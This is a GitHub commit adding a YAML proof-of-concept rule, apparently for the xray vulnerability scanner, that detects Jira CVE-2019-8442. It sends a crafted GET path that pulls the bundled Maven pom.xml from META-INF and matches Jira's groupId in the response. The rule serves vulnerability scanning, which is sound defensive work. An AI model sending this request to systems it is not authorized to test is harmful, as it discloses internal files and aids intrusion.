jira-cve-2019-8442 (chaitin#989)

happyqingye · Jan 7, 2021 · 5bc3871 · 5bc3871
1 parent 6242770
commit 5bc3871
Showing 1 changed file with 11 additions and 0 deletions.
diff --git a/pocs/jira-cve-2019-8442.yml b/pocs/jira-cve-2019-8442.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-jira-cve-2019-8442
+rules:
+  - method: GET
+    path: "/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(b"<groupId>com.atlassian.jira</groupId>"))) && response.content_type.contains("application/xml")
+detail:
+  author: pa55w0rd(www.pa55w0rd.online/)
+  Affected Version: "<7.13.4, 8.00-8.0.4, 8.1.0-8.1.1"
+  links:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-8442